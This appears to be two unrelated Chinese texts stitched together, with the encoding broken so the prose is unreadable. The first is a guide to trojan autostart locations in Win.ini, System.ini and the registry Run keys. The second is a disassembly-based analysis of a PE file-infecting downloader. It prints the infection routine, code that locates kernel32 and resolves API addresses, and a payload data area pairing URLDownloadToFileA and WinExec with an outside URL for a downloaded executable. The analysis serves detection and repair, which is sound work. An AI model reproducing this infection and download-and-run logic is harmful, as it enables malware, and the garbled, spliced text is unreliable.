ºÜ¶à¶Ô°²È«ÖªÊ¶Á˽ⲻ¶àµÄ²ËÄñÃÇ£¬ÔÚ¼ÆËã»úÖÐÁË¡°Ä¾Âí¡±Ö®ºó¾ÍÊøÊÖÎÞ²ßÁË¡£ËäÈ»ÏÖÔÚÊÐÃæÉÏÓкܶàаæɱ¶¾Èí¼þ¶¼¿ÉÒÔ×Ô¶¯Çå³ý´ó²¿·Ö¡°Ä¾Âí¡±£¬µ«ËüÃDz¢²»ÄÜ·À·¶Ð³öÏֵġ°Ä¾Âí¡±³ÌÐò¡£Òò´Ë£¬²éɱľÂí£¬×î¹Ø¼üµÄ»¹ÊÇÒªÖªµÀ¡°Ä¾Âí¡±µÄ¹¤×÷Ô­Àí¡£ÏàÐÅÄã¿´ÁËÕâƪÎÄÕÂÖ®ºó£¬¾Í»á³ÉΪһÃû²éɱ¡°Ä¾Âí¡±µÄ¸ßÊÖÁË¡£

¡¡¡¡¡°Ä¾Âí¡±³ÌÐò»áÏ뾡һÇа취Òþ²Ø×Ô¼º£¬Ö÷Ҫ;¾¶ÓУºÔÚÈÎÎñÀ¸ÖÐÒþ²Ø×Ô¼º£¬ÕâÊÇ×î»ù±¾µÄ°ì·¨¡£Ö»Òª°ÑFormµÄVisibleÊôÐÔÉèΪFalse£¬ShowInTaskBarÉèΪFalse£¬³ÌÐòÔËÐÐʱ¾Í²»»á³öÏÖÔÚÈÎÎñÀ¸ÖÐÁË¡£ÔÚÈÎÎñ¹ÜÀíÆ÷ÖÐÒþÐΣº½«³ÌÐòÉèΪ¡°ÏµÍ³·þÎñ¡±¿ÉÒÔºÜÇáËɵØαװ×Ô¼º¡£µ±È»ËüÒ²»áÇÄÎÞÉùÏ¢µØÆô¶¯£¬ºÚ¿Íµ±È»²»»áÖ¸ÍûÓû§Ã¿´ÎÆô¶¯ºóµã»÷¡°Ä¾Âí¡±Í¼±êÀ´ÔËÐзþÎñ¶Ë£¬¡°Ä¾Âí¡±»áÔÚÿ´ÎÓû§Æô¶¯Ê±×Ô¶¯×°ÔØ¡£WindowsϵͳÆô¶¯Ê±×Ô¶¯¼ÓÔØÓ¦ÓóÌÐòµÄ·½·¨£¬¡°Ä¾Âí¡±¶¼»áÓÃÉÏ£¬È磺Æô¶¯×é¡¢Win.ini¡¢System.ini¡¢×¢²á±íµÈ¶¼ÊÇ¡°Ä¾Âí¡±²ØÉíµÄºÃµØ·½¡£

¡¡¡¡ÏÂÃæ¾ßÌå̸̸¡°Ä¾Âí¡±ÊÇÔõÑù×Ô¶¯¼ÓÔصġ£ÔÚWin.iniÎļþÖУ¬ÔÚ[WINDOWS]ÏÂÃ棬¡°run=¡±ºÍ¡°load=¡±ÊÇ¿ÉÄܼÓÔØ¡°Ä¾Âí¡±³ÌÐòµÄ;¾¶£¬±ØÐë×ÐϸÁôÐÄËüÃÇ¡£Ò»°ãÇé¿öÏ£¬ËüÃǵĵȺźóÃæÓ¦¸Ãʲô¶¼Ã»ÓУ¬Èç¹û·¢ÏÖºóÃæ¸úÓз¾¶ÓëÎļþÃû²»ÊÇÄãÊìϤµÄÆô¶¯Îļþ£¬ÄãµÄ¼ÆËã»ú¾Í¿ÉÄÜÖС°Ä¾Âí¡±ÁË¡£µ±È»ÄãÒ²µÃ¿´Çå³þ£¬ÒòΪºÃ¶à¡°Ä¾Âí¡±£¬Èç¡°AOL TrojanľÂí¡±£¬Ëü°Ñ×ÔÉíαװ³Écommand.exe(ÕæÕýµÄϵͳÎļþΪcommand.com)Îļþ£¬Èç¹û²»×¢Òâ¿ÉÄܲ»»á·¢ÏÖËü²»ÊÇÕæÕýµÄϵͳÆô¶¯Îļþ(ÌرðÊÇÔÚWindows´°¿ÚÏÂ)¡£

¡¡¡¡ÔÚSystem.iniÎļþÖУ¬ÔÚ[BOOT]ÏÂÃæÓиö¡°shell=ÎļþÃû¡±¡£ÕýÈ·µÄÎļþÃûÓ¦¸ÃÊÇ¡°explorer.exe¡±£¬Èç¹û²»ÊÇ¡°explorer.exe¡±£¬¶øÊÇ¡°shell= explorer.exe³ÌÐòÃû¡±£¬ÄÇôºóÃæ¸ú×ŵÄÄǸö³ÌÐò¾ÍÊÇ¡°Ä¾Âí¡±³ÌÐò£¬¾ÍÊÇ˵ÄãÒѾ­ÖС°Ä¾Âí¡±ÁË¡£

¡¡¡¡×¢²á±íÖеÄÇé¿ö×ÔÓ£¬Í¨¹ýregeditÃüÁî´ò¿ª×¢²á±í±à¼­Æ÷£¬ÔÚµã»÷ÖÁ£º¡°HKEY-LOCAL-ACHINE\Software\Microsoft\Windows\CurrentVersion\Run¡±Ä¿Â¼Ï£¬²é¿´¼üÖµÖÐÓÐûÓÐ×Ô¼º²»ÊìϤµÄ×Ô¶¯Æô¶¯Îļþ£¬À©Õ¹ÃûΪEXE£¬ÕâÀïÇмǣºÓеġ°Ä¾Âí¡±³ÌÐòÉú³ÉµÄÎļþºÜÏñϵͳ×ÔÉíÎļþ£¬Ïëͨ¹ýαװÃÉ»ì¹ý¹Ø£¬Èç¡°Acid Battery v1.0ľÂí¡±£¬Ëü½«×¢²á±í¡°HKEY-LOCAL-MACHINE\SO FTWARE\Microsoft\Windows\CurrentVersion\Run¡±ÏµÄExplorer¼üÖµ¸ÄΪExplorer=¡°C:\WINDOWS\expiorer.exe¡±£¬¡°Ä¾Âí¡±³ÌÐòÓëÕæÕýµÄExplorerÖ®¼äÖ»ÓС°i¡±Óë¡°l¡±µÄ²î±ð¡£µ±È»ÔÚ×¢²á±íÖл¹ÓкܶàµØ·½¶¼¿ÉÒÔÒþ²Ø¡°Ä¾Âí¡±³ÌÐò£¬È磺¡°HKEY-CURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Run¡±¡¢¡°HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run¡±µÄĿ¼Ï¶¼ÓпÉÄÜ£¬×îºÃµÄ°ì·¨¾ÍÊÇÔÚ¡°HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run¡±ÏÂÕÒµ½¡°Ä¾Âí¡±³ÌÐòµÄÎļþÃû£¬ÔÙÔÚÕû¸ö×¢²á±íÖÐËÑË÷¼´¿É¡£

¡¡¡¡ÖªµÀÁË¡°Ä¾Âí¡±µÄ¹¤×÷Ô­Àí£¬²éɱ¡°Ä¾Âí¡±¾Í±äµÃºÜÈÝÒ×£¬Èç¹û·¢ÏÖÓС°Ä¾Âí¡±´æÔÚ£¬×îÓÐЧµÄ·½·¨¾ÍÊÇÂíÉϽ«¼ÆËã»úÓëÍøÂç¶Ï¿ª£¬·ÀÖ¹ºÚ¿Íͨ¹ýÍøÂç¶ÔÄã½øÐй¥»÷¡£È»ºó±à¼­win.iniÎļþ£¬

½«[WINDOWS]ÏÂÃ棬¡°run=¡°Ä¾Âí¡±³ÌÐò¡±»ò¡°load=¡°Ä¾Âí¡±³ÌÐò¡±¸ü¸ÄΪ¡°run=¡±ºÍ¡°load=¡±£»±à¼­system.iniÎļþ£¬½«[BOOT]ÏÂÃæµÄ¡°shell=¡®Ä¾Âí¡¯Îļþ¡±£¬¸ü¸ÄΪ£º¡°shell=explorer.exe¡±£»ÔÚ×¢²á±íÖУ¬ÓÃregedit¶Ô×¢²á±í½øÐб༭£¬ÏÈÔÚ¡°HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run¡±ÏÂÕÒµ½¡°Ä¾Âí¡±³ÌÐòµÄÎļþÃû£¬ÔÙÔÚÕû¸ö×¢²á±íÖÐËÑË÷²¢Ìæ»»µô¡°Ä¾Âí¡±³ÌÐò£¬ÓÐʱºò»¹Ðè×¢ÒâµÄÊÇ£ºÓеġ°Ä¾Âí¡±³ÌÐò

²¢²»ÊÇÖ±½Ó½«¡°HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run¡±Ïµġ°Ä¾Âí¡±¼üÖµ

ɾ³ý¾ÍÐÐÁË£¬ÒòΪÓеġ°Ä¾Âí¡±È磺BladeRunner¡°Ä¾Âí¡±£¬Èç¹ûÄãɾ³ýËü£¬¡°Ä¾Âí¡±»áÁ¢¼´×Ô¶¯¼ÓÉÏ£¬ÄãÐèÒªµÄÊǼÇÏ¡°Ä¾Âí¡±µÄÃû×ÖÓëĿ¼£¬È»ºóÍ˻ص½MS-DOSÏ£¬ÕÒµ½´Ë¡°Ä¾Âí¡±Îļþ²¢É¾³ýµô¡£ÖØÐÂÆô¶¯¼ÆË㣬ȻºóÔÙµ½×¢²á±íÖн«ËùÓС°Ä¾Âí¡±ÎļþµÄ¼üֵɾ³ý¡£ÖÁ´Ë£¬ÎÒÃǾʹ󹦸æ³ÉÁË¡£

±¾ÎÄÉæ¼°µÄÎÊÌ⣺

1. ËüÊÇÈçºÎ¸ÐȾһ¸ö.EXE»ò.SCRÎļþµÄ

2. ±»¸ÐȾÎļþ±»¼ÓÈëµÄ´úÂëÄÚÈݼ°ÆäÐÐΪ

3. »ùÓÚ1ºÍ2£¬¼òҪ˵Ã÷±»¸ÐȾÎļþµÄÐÞ¸´ÎÊÌâ

±¾ÎÄûÓÐÉæ¼°µÄÎÊÌ⣺

1. ¸Ã²¡¶¾ÈçºÎÐÞ¸Ä×¢²á±í

2. ¸Ã²¡¶¾Éú³ÉÄÄЩ²¡¶¾ÌåÎļþ£¨°üÀ¨ÊÇ·ñÔÚ´ÅÅ̸ùĿ¼Éú³É²¡¶¾¸±±¾£©

3. ¸Ã²¡¶¾ÈçºÎÏÂÔØÆäËû²¡¶¾

4. ¸Ã²¡¶¾¸ÐȾÄÄЩÎļþ¼ÐϵÄÎļþ

ÒÔÉÏÕâЩÄÚÈÝ£¬¾Í´ý¸÷λͬÈÊÈ¥ÍÚ¾òÁË¡£

¼Ó¿ÇÇé¿ö£º¼ÓUPX¿Ç£¬Ö±½ÓÓÃÍÑ¿Ç»úÍÑ¿Ç£¨Ì«ÀÁÁË-_-£©

ÍѿǺ󣺻ùÖ·13140000£¬Èë¿ÚµãÆ«ÒÆ00015570

·ÖÎö·½·¨£ºÍѿǺóODÔØÈë¿´·´»ã±à½á¹û

²¡¶¾¶¨ÐÔ£º£¨¸Ä½Ú±í£©¸ÐȾÐÍÏÂÔØÕß

Ç°×ࣨ׼±¸¹¤×÷£©£º

´´½¨ÃûΪwokaonµÄ»¥³â¶ÔÏó£¬EnumWindowsËƺõÊÇÔÚÕÒ¿¨°ÍµÄ´°¿Ú£¬ÕÒµ½ºóÔòÏȽ«ÏµÍ³Äê·Ý¸ÄΪ1984Ä꣨7C0H£©£¬SleepÁË20ÃëµÈ¿¨°Í¹Òµôºó£¬ÔÙ°Ñʱ¼ä¸Ä»ØÀ´¡£Õⲿ·Ö·´»ã±à½á¹û£º

***************************************************************************************************

13155581 68 68561513     push 13155668                                   ; ASCII "wokaon"

13155586 6A 00           push 0

13155588 6A 00           push 0

1315558A E8 C508FFFF     call <CreateMutex>                            ;Delphi·â×°º¯Êý

1315558F 8BD8          mov     ebx, eax

13155591 E8 8609FFFF     call <jmp.&KERNEL32.GetLastError>

13155596 3D B7000000     cmp     eax, 0B7

1315559B 0F84 BA000000 je    1315565B

131555A1 C605 A8791513 0>mov     byte ptr [131579A8], 0

131555A8 6A 00           push 0

131555AA 68 A4531513     push 131553A4

131555AF E8 800AFFFF     call <jmp.&user32.EnumWindows>

131555B4 803D A8791513 0>cmp     byte ptr [131579A8], 0

131555BB 75 07           jnz     short 131555C4

131555BD E8 F2EAFFFF     call 131540B4

131555C2 EB 44           jmp     short 13155608

131555C4 68 98791513     push 13157998

131555C9 E8 5609FFFF     call <jmp.&KERNEL32.GetLocalTime>

131555CE 66:8B1D 9879151>mov     bx, word ptr [13157998]

131555D5 66:C705 9879151>mov     word ptr [13157998], 7C0

131555DE 68 98791513     push 13157998

131555E3 E8 DC09FFFF     call <jmp.&KERNEL32.SetLocalTime>

131555E8 68 204E0000     push 4E20

131555ED E8 CA64FFFF     call <jmp.&KERNEL32.Sleep>

131555F2 E8 BDEAFFFF     call 131540B4

131555F7 66:891D 9879151>mov     word ptr [13157998], bx

131555FE 68 98791513     push 13157998

13155603 E8 BC09FFFF     call <jmp.&KERNEL32.SetLocalTime>

13155608 68 10270000     push 2710

1315560D E8 AA64FFFF     call <jmp.&KERNEL32.Sleep>

***************************************************************************************************

´´½¨Á½¸öỊ̈߳¬Ò»¸öÓÃÓÚÖ²È벡¶¾ºÍ¸ÐȾÎļþ£¬ÁíÒ»¸öÓ¦¸ÃÊÇÓÃÓÚÏÂÔصġ£

***************************************************************************************************

1315561C 68 90791513     push 13157990

13155621 6A 00           push 0

13155623 6A 00           push 0

13155625 68 88481513     push offset <ThreadFun1>

1315562A 6A 00           push 0

1315562C 6A 00           push 0

1315562E E8 4908FFFF     call <jmp.&KERNEL32.CreateThread>

13155633 68 94791513     push 13157994

13155638 6A 00           push 0

1315563A 6A 00           push 0

1315563C 68 14501513     push offset <ThreadFun2>

13155641 6A 00           push 0

13155643 6A 00           push 0

13155645 E8 3208FFFF     call <jmp.&KERNEL32.CreateThread>

***************************************************************************************************

ÎұȽϹØÐĸÐȾÎļþµÄÄÚÈÝ¡£¸ÐȾǰÓÐÅжÏÇý¶¯Æ÷ÊôÐÔ£¬²»¹ýDelphi¶Ô´Ë·â×°µÃÌ«¶à£¬ÎÒ¿´call¿´µÃÑÛ»¨¡£ËùÒÔËüÊÇÄÄЩÎļþ¼ÐϵÄÎļþ²»¸ÐȾ£¬ÄÄЩÎļþ¼ÐϵÄÎļþ±»¸ÐȾ£¬Õâ¸öÎÒûÓÐ×Ðϸ¿´¡£

×îºó½øÈëN¶à¸öcallºóÕÒµ½¶Ô.EXEºÍ.SCRÎļþ½øÐиÐȾµÄ²¿·Ö´úÂë

Ò»¡¢²¡¶¾¶Ô.EXEºÍ.SCRÎļþµÄPE½á¹¹½øÐÐʶ±ð²¢¸ÐȾµÄ²¿·Ö·ÖÎö

´úÂë´Ó13152D8C¿ªÊ¼£¬ÏÈCreateFileA´ò¿ªÎļþÖ®ºó½øÐÐʶ±ð²¢¸ÐȾ¡£

²¿·Ö½øÐиÐȾµÄ´úÂ룺

¶ÁDOSÎļþÍ·£¬¶¨Î»PEÍ·£º

***************************************************************************************************

13152E00 6A 00           push 0

13152E02 8D45 EC       lea     eax, dword ptr [ebp-14]

13152E05 50              push eax

13152E06 6A 40           push 40

13152E08 8D45 A8       lea     eax, dword ptr [ebp-58]

13152E0B 50              push eax

13152E0C 8B45 F4       mov     eax, dword ptr [ebp-C]

13152E0F 50              push eax

13152E10 E8 7F31FFFF     call <jmp.&KERNEL32.ReadFile>

13152E15 66:817D A8 4D5A cmp     word ptr [ebp-58], 5A4D       ;MZ

13152E1B 74 11           je    short 13152E2E

¡­¡­¡­¡­¡­¡­¡­¡­

13152E2E 6A 00           push 0

13152E30 6A 00           push 0

13152E32 8B45 E4       mov     eax, dword ptr [ebp-1C]       ;Ëãһϣ¬ebp-1C=ebp-58+3C£¬ÔÚÉÏÃæµÄReadFileÖ®ºó£¬ÕâÀïÕýÊÇe_lfanew£¬¼´µ½PEÍ·µÄÆ«ÒÆ

13152E35 50              push eax

13152E36 8B45 F4       mov     eax, dword ptr [ebp-C]

13152E39 50              push eax

13152E3A E8 7D31FFFF     call <jmp.&KERNEL32.SetFilePointer>

***************************************************************************************************

¶ÁPEÍ·£¬µÃµ½½ÚÊý£º

***************************************************************************************************

13152E3F 6A 00           push 0

13152E41 8D45 EC       lea     eax, dword ptr [ebp-14]

13152E44 50              push eax

13152E45 68 F8000000     push 0F8

13152E4A 8D85 B0FEFFFF lea     eax, dword ptr [ebp-150]

13152E50 50              push eax

13152E51 8B45 F4       mov     eax, dword ptr [ebp-C]

13152E54 50              push eax

13152E55 E8 3A31FFFF     call <jmp.&KERNEL32.ReadFile>

13152E5A 81BD B0FEFFFF 5>cmp     dword ptr [ebp-150], 4550    ;"PE\0\0"

13152E64 74 11           je    short 13152E77

¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­

13152E77 33FF          xor     edi, edi

13152E79 33C0          xor     eax, eax

13152E7B 8945 F0       mov     dword ptr [ebp-10], eax

13152E7E 0FB79D B6FEFFFF movzx ebx, word ptr [ebp-14A]                    ; Ëãһϣ¬ebp-14A=ebp-150+06£¬ÕýºÃÊÇIMAGE_NT_HEADERS½á¹¹ÖеÄNumberOfSections

***************************************************************************************************

Ñ­»·¶Áÿһ¸öIMAGE_SECTION_HEADER½á¹¹£¬¶Ô±ÈÆäÃû×ÖÊÇ·ñÊÇ.WIN£¬ÒÔÅжÏÊÇ·ñÒѸÐȾ£¬²¢µÃµ½ÆäËûÐÅÏ¢£º

***************************************************************************************************

13152E85 4B              dec     ebx

13152E86 85DB          test ebx, ebx

13152E88 7C 60           jl    short 13152EEA                      ;×îºóÒ»½ÚÒÑÍ꣬Ìø³ö

13152E8A 43              inc     ebx

13152E8B 6A 00           push 0

13152E8D 8D45 EC       lea     eax, dword ptr [ebp-14]

13152E90 50              push eax

13152E91 6A 28           push 28

13152E93 56              push esi

13152E94 8B45 F4       mov     eax, dword ptr [ebp-C]

13152E97 50              push eax

13152E98 E8 F730FFFF     call <jmp.&KERNEL32.ReadFile>

13152E9D 8D85 84FEFFFF lea     eax, dword ptr [ebp-17C]

13152EA3 8BD6          mov     edx, esi

13152EA5 E8 9A12FFFF     call 13144144

13152EAA 8B85 84FEFFFF mov     eax, dword ptr [ebp-17C]

13152EB0 BA 90301513     mov     edx, 13153090                            ; ASCII ".WIN"

13152EB5 E8 7A14FFFF     call <CmpString>

13152EBA 75 11           jnz     short 13152ECD                             ; ²»ÊÇ.WIN½Ú

13152EBC C745 F8 0200000>mov     dword ptr [ebp-8], 2                       ; ÊÇ.WIN½Ú£¬Òѱ»¸ÐȾ¹ý

13152EC3 E8 900BFFFF     call 13143A58

13152EC8 E9 87010000     jmp     13153054                                   ; Ìø¹ý¸ÐȾµÄ´úÂë

13152ECD 8B46 14       mov     eax, dword ptr [esi+14]                    ; ²»ÊÇ.WIN½Ú£¬Ö±½ÓÀ´µ½ÕâÀï

13152ED0 0346 10       add     eax, dword ptr [esi+10]

13152ED3 3BF8          cmp     edi, eax

13152ED5 73 02           jnb     short 13152ED9

13152ED7 8BF8          mov     edi, eax

13152ED9 8B46 0C       mov     eax, dword ptr [esi+C]

13152EDC 0346 08       add     eax, dword ptr [esi+8]

13152EDF 3B45 F0       cmp     eax, dword ptr [ebp-10]

13152EE2 76 03           jbe     short 13152EE7

13152EE4 8945 F0       mov     dword ptr [ebp-10], eax

13152EE7 4B              dec     ebx

13152EE8   ^ 75 A1           jnz     short 13152E8B

***************************************************************************************************

½Ó×ÅÏò¶ÑÕ»ÖÐдеÄIMAGE_SECTION_HEADER£¬Ð޸ĶÑÕ»ÖÐ֮ǰµÃµ½µÄPEÍ·ºÍDOSÍ·½á¹¹µÄÏà¹ØÁ¿£¨Èç½ÚÊý£¬Èë¿ÚµãµÈ£©£¬²¢Ð´»ØÔ­ÎļþÏàӦλÖá£

ÆäÖУº

***************************************************************************************************

13152EEA BB 882D1513     mov     ebx, 13152D88

13152EEF 81EB F82B1513 sub     ebx, 13152BF8

***************************************************************************************************

13152BF8µ½13152D88µÄλÖ㬱£´æÓн«±»Ð´Èë±»¸ÐȾÎļþµÄ¿ÉÖ´ÐдúÂë¡£

***************************************************************************************************

13152F8C 8B46 0C       mov     eax, dword ptr [esi+C]

13152F8F 05 C5000000     add     eax, 0C5

13152F94 81C0 042C1513 add     eax, 13152C04

13152F9A 81E8 F82B1513 sub     eax, 13152BF8

13152FA0 8985 D8FEFFFF mov     dword ptr [ebp-128], eax

***************************************************************************************************

13152C04´¦µÄ´úÂ룬½«³ÉΪ³ÌÐòµÄÈë¿ÚµãÖ¸ÏòµÄ´úÂë¡£

¶þ¡¢±»¸ÐȾÎļþÖмÓÈëµÄÄÚÈݼ°ÆäÐÐΪ·ÖÎö

³ÌÐò±»¸ÐȾºó£¬¼ÓÈëÒ»¸ö.WIN½Ú£¬Èë¿ÚµãÖ¸ÏòÆäÖÐ

×îÇ°Ãæ0C5µÄÄÚÈÝÊÇ¡°Êý¾ÝÇø¡±£¬ÆäÖпÉÃ÷ÏÔ¿´³öÓÐÒâÒåµÄ²¿·Ö£¬°üÀ¨ÒÔÏÂÄÚÈÝ£¨ÒÔϵØַΪÏà¶Ô.WIN½ÚÍ·µÄÆ«ÒÆ£©£º

***************************************************************************************************

1. Ô¤Áô¿Õ¼ä±£´æ±äÁ¿£¨ÔÚ±»¸ÐȾ³ÌÐòÔËÐÐʱ£¬ÏÈÔËÐеĴúÂë»áÏòÕⲿ·ÖдÈëÊý¾Ý£©

+00H   urlmonµÄ»ùÖ·

+04H   GetProcAddressº¯ÊýµØÖ·

+08H   LoadLibraryAº¯ÊýµØÖ·

+0CH   FreeLibraryº¯ÊýµØÖ·

+10H   ExitProcessº¯ÊýµØÖ·

+14H   GetModuleHandleAº¯ÊýµØÖ·

+18H   URLDownloadToFileAº¯ÊýµØÖ·

+1CH   WinExecº¯ÊýµØÖ·

2. Óõ½µÄ×Ö·û´®³£Á¿£º

+20H   "LoadLibraryA",0

+2DH   "FreeLibrary",0

+39H   "ExitProcess",0

+45H   "GetModuleHandleA",0

+56H   "WinExec",0

+5FH   "urlmon",0

+66H   "URLDownloadToFileA",0

+79H   "http://ttt.wokaon.cn/main.exe",0

+97H   "c:\Program Files\Common Files\WIN.exe",0

¡­¡­¡­¡­¡­¡­¡­¡­

3. ±£´æµÄ³ÌÐòÔ­»ùÖ·ºÍÈë¿Úµã£¬´úÂëÖ´Ðкó¶ÁÈ¡ÕâÀ²¢Ìø»ØÔ­Èë¿ÚµãÖ´ÐС£ÒªÐÞ¸´±»¸ÐȾÎļþ£¬Ò²ÒªÖªµÀÕâÁ½¸öÖµ£º

+BDH   ³ÌÐòÔ­ImageBase

+C1H   ³ÌÐòÔ­AddressOfEntryPoint

***************************************************************************************************

+C5H¿ªÊ¼£¬½«ÊǼÓÈëµÄ´úÂ루²¡¶¾Ö÷ÎļþÄÚ´æÖеÄ13152BF8µ½13152D88µÄÄÚÈÝ£©

ÎÒÖ±½ÓÔÚ²¡¶¾Ö÷ÎļþÀïÃæ¿´ÁË£¬ODÀï·´»ã±à·ÖÎöÁËÏ£¬´óÖÂÈçÏ£º

13152C04ÊÇÈë¿Ú¡£

***************************************************************************************************

13152BFD 58              pop     eax                                     ; popµÃµ½EIP£¬¼´´Ë¾ä´úÂëλÖÃ

13152BFE 83E8 05       sub     eax, 5                                  ; call´úÂëµÄλÖÃ

13152C01 C3              retn

13152C02 8BC0          mov     eax, eax

13152C04 55              push ebp                                     ; Èë¿Ú

13152C05 8BEC          mov     ebp, esp

13152C07 83C4 EC       add     esp, -14

13152C0A 53              push ebx

13152C0B 56              push esi

13152C0C 57              push edi

13152C0D 8D75 FC       lea     esi, dword ptr [ebp-4]                   ; ³ÌÐò³õʼ»¯Ê±£¬¶ÑÕ»ÖеÄÖ¸Ïòkernel32.dllÄÚµÄÒ»¸öµØÖ·

***************************************************************************************************

½ÓÏÂÀ´Ò»¶ÎÊÇ»¨Ö¸Á

***************************************************************************************************

13152C10 EB 01           jmp     short 13152C13

13152C12 90              nop                                              ; Ô­ÊÇE8£¬ÊǼӻ¨

13152C13 90              nop

13152C14 90              nop

13152C15 90              nop

13152C16 90              nop

13152C17 90              nop

13152C18 90              nop

13152C19 EB 01           jmp     short 13152C1C

13152C1B 90              nop                                              ; Ô­ÊÇE8£¬ÊǼӻ¨

13152C1C 90              nop

13152C1D 90              nop

***************************************************************************************************

ÏÂÃæ²Å½Ó×ÅÓÖÊÇÓÐÒâÒåµÄ£º

***************************************************************************************************

13152C1E /EB 0F           jmp     short 13152C2F

13152C20 |8138 4D5A9000 cmp     dword ptr [eax], 905A4D                    ; ÕÒkernel32.dllµÄMZÍ·£¬¶¨Î»Æä»ùÖ·

13152C26 |74 12           je    short 13152C3A                             ; ÕÒµ½ºóÌø³ö£¬ÕâʱeaxΪkernel32.dllµÄ»ùÖ·

13152C28 |2D 00100000     sub     eax, 1000

13152C2D   ^|EB F1           jmp     short 13152C20

13152C2F \8B4424 14    mov     eax, dword ptr [esp+14]

13152C33 25 0000FFFF     and     eax, FFFF0000

13152C38   ^ EB E6           jmp     short 13152C20

13152C3A 8945 FC       mov     dword ptr [ebp-4], eax                   ; ±£´ækernel32.dll»ùÖ·

***************************************************************************************************

ͨ¹ý³ÌÐò³õʼ»¯Ê±ÁôÔÚ¶ÑÕ»ÖеÄÒ»¸öÖ¸Ïòkernel32.dllÄÚ²¿µÄµØÖ·£¬Ñ­»·ºóÍËÕÒkernel32.dllµÄDOSÎļþÍ·£¨MZ£©ËùÔÚλÖ㬴Ӷø¶¨Î»kernel32.dllµÄ»ùÖ·

***************************************************************************************************

13152C3D E8 B6FFFFFF     call 13152BF8                                   ; ¶¨Î»´úÂëλÖÃ

13152C42 2D C5000000     sub     eax, 0C5                                   ; eax=.WIN½ÚÍ·

13152C47 8945 F4       mov     dword ptr [ebp-C], eax                   ; ±£´æ.WIN½ÚÍ·µØÖ·

***************************************************************************************************

callµ½µÄ×Óº¯Êý¿´Ç°Ã棬ͨ¹ýÒ»¸öÐé¼ÙµÄcallÀ´ÓÕʹEIPÈëÕ»£¬ÔÙpop³öÀ´£¬´Ó¶øÔÚÄÚ´æÖж¨Î»ÁË×Ô¼ºµÄ´úÂëλÖã¬È·¶¨ÁË.WIN½ÚÍ·µØÖ·£¬´Ó¶øÔÚ¶ÁдǰÃæC5H´óСµÄÊý¾ÝÇøʱ¾ÍÓÐÄ¿±êÁË¡£

***************************************************************************************************

13152C4A 8B06          mov     eax, dword ptr [esi]                       ; esi=ebp-4£¬´ËʱΪkernel32.dll»ùÖ·

13152C4C 8B40 3C       mov     eax, dword ptr [eax+3C]                    ; MZÍ·µØÖ·+3C,PEÍ·µØÖ·

13152C4F 0306          add     eax, dword ptr [esi]

13152C51 8B40 78       mov     eax, dword ptr [eax+78]                    ; PEÆ«ÒÆ78H,DataDirectory¿ªÍ·£¬Êä³ö±íµØÖ·

13152C54 0306          add     eax, dword ptr [esi]

13152C56 8BC8          mov     ecx, eax                                   ; ecx=Êä³ö±íVA

13152C58 8B51 20       mov     edx, dword ptr [ecx+20]                    ; AddressOfNames

13152C5B 0316          add     edx, dword ptr [esi]

13152C5D 8B59 24       mov     ebx, dword ptr [ecx+24]                    ; AddressOfNameOrdinals

13152C60 031E          add     ebx, dword ptr [esi]

13152C62 895D F0       mov     dword ptr [ebp-10], ebx                    ; AddressOfNameOrdinals

13152C65 8B59 1C       mov     ebx, dword ptr [ecx+1C]                    ; AddressOfFunctions

13152C68 031E          add     ebx, dword ptr [esi]

13152C6A 895D EC       mov     dword ptr [ebp-14], ebx                    ; AddressOfFunctions

13152C6D 8B41 18       mov     eax, dword ptr [ecx+18]                    ; NumberOfNames

13152C70 8BC8          mov     ecx, eax

13152C72 49              dec     ecx

13152C73 85C9          test ecx, ecx

13152C75 72 5A           jb    short 13152CD1

13152C77 41              inc     ecx

***************************************************************************************************

ÕâÀïÓõ½PEÎļþµÄ֪ʶÁË£¬Í¨¹ý¶ÁÈ¡kernel32.dllµÄPEÎļþ½á¹¹£¬ÕÒµ½²¢¶ÁÈ¡ÆäÊä³ö±í£¬Ä¿µÄ£¬µ±È»ÊÇΪÁËÔÚÊä³ö±íÀï¼ìË÷º¯Êý¡£

***************************************************************************************************

13152C78 33C0          xor     eax, eax

13152C7A 8BD8          mov     ebx, eax                                   ; eax=µÚ¼¸¸öº¯Êý£¨0¿ªÊ¼£©´Ë´¦ÎªÑ­»·£¬Ä¿µÄÊÇΪÁËÕÒµ½GetProcAddressAº¯ÊýµÄµØÖ·

13152C7C C1E3 02       shl     ebx, 2                                  ; ebx*4

13152C7F 03DA          add     ebx, edx                                   ; edx=AddressOfNames

13152C81 8B3B          mov     edi, dword ptr [ebx]

13152C83 033E          add     edi, dword ptr [esi]

13152C85 813F 47657450 cmp     dword ptr [edi], 50746547                ; GetP

13152C8B 75 40           jnz     short 13152CCD

13152C8D 8BDF          mov     ebx, edi

13152C8F 83C3 04       add     ebx, 4

13152C92 813B 726F6341 cmp     dword ptr [ebx], 41636F72                ; rocA

13152C98 75 33           jnz     short 13152CCD

13152C9A 8BDF          mov     ebx, edi

13152C9C 83C3 08       add     ebx, 8

13152C9F 813B 64647265 cmp     dword ptr [ebx], 65726464                ; ddre

13152CA5 75 26           jnz     short 13152CCD

13152CA7 83C7 0C       add     edi, 0C

13152CAA 66:813F 7373 cmp     word ptr [edi], 7373                       ; ss

13152CAF 75 1C           jnz     short 13152CCD

13152CB1 8BD0          mov     edx, eax

13152CB3 03D2          add     edx, edx

13152CB5 0355 F0       add     edx, dword ptr [ebp-10]                    ; AddressOfNameOrdinals

13152CB8 0FB712       movzx edx, word ptr [edx]

13152CBB C1E2 02       shl     edx, 2

13152CBE 0355 EC       add     edx, dword ptr [ebp-14]                    ; AddressOfFunctions

13152CC1 8B12          mov     edx, dword ptr [edx]

13152CC3 0316          add     edx, dword ptr [esi]                       ; edx=º¯ÊýµØÖ·

13152CC5 8B4D F4       mov     ecx, dword ptr [ebp-C]                   ; ecx=.WIN¶ÎÊ×VA

13152CC8 8951 04       mov     dword ptr [ecx+4], edx                   ; ±£´æGetProcAddressµÄVA

13152CCB EB 04           jmp     short 13152CD1

13152CCD 40              inc     eax

13152CCE 49              dec     ecx

13152CCF   ^ 75 A9           jnz     short 13152C7A

***************************************************************************************************

Ñ­»·²éÕÒÊä³ö±í£¬ÕÒµ½½ø³Ì¿Õ¼äÖÐGetProcAddressº¯ÊýµÄµØÖ·

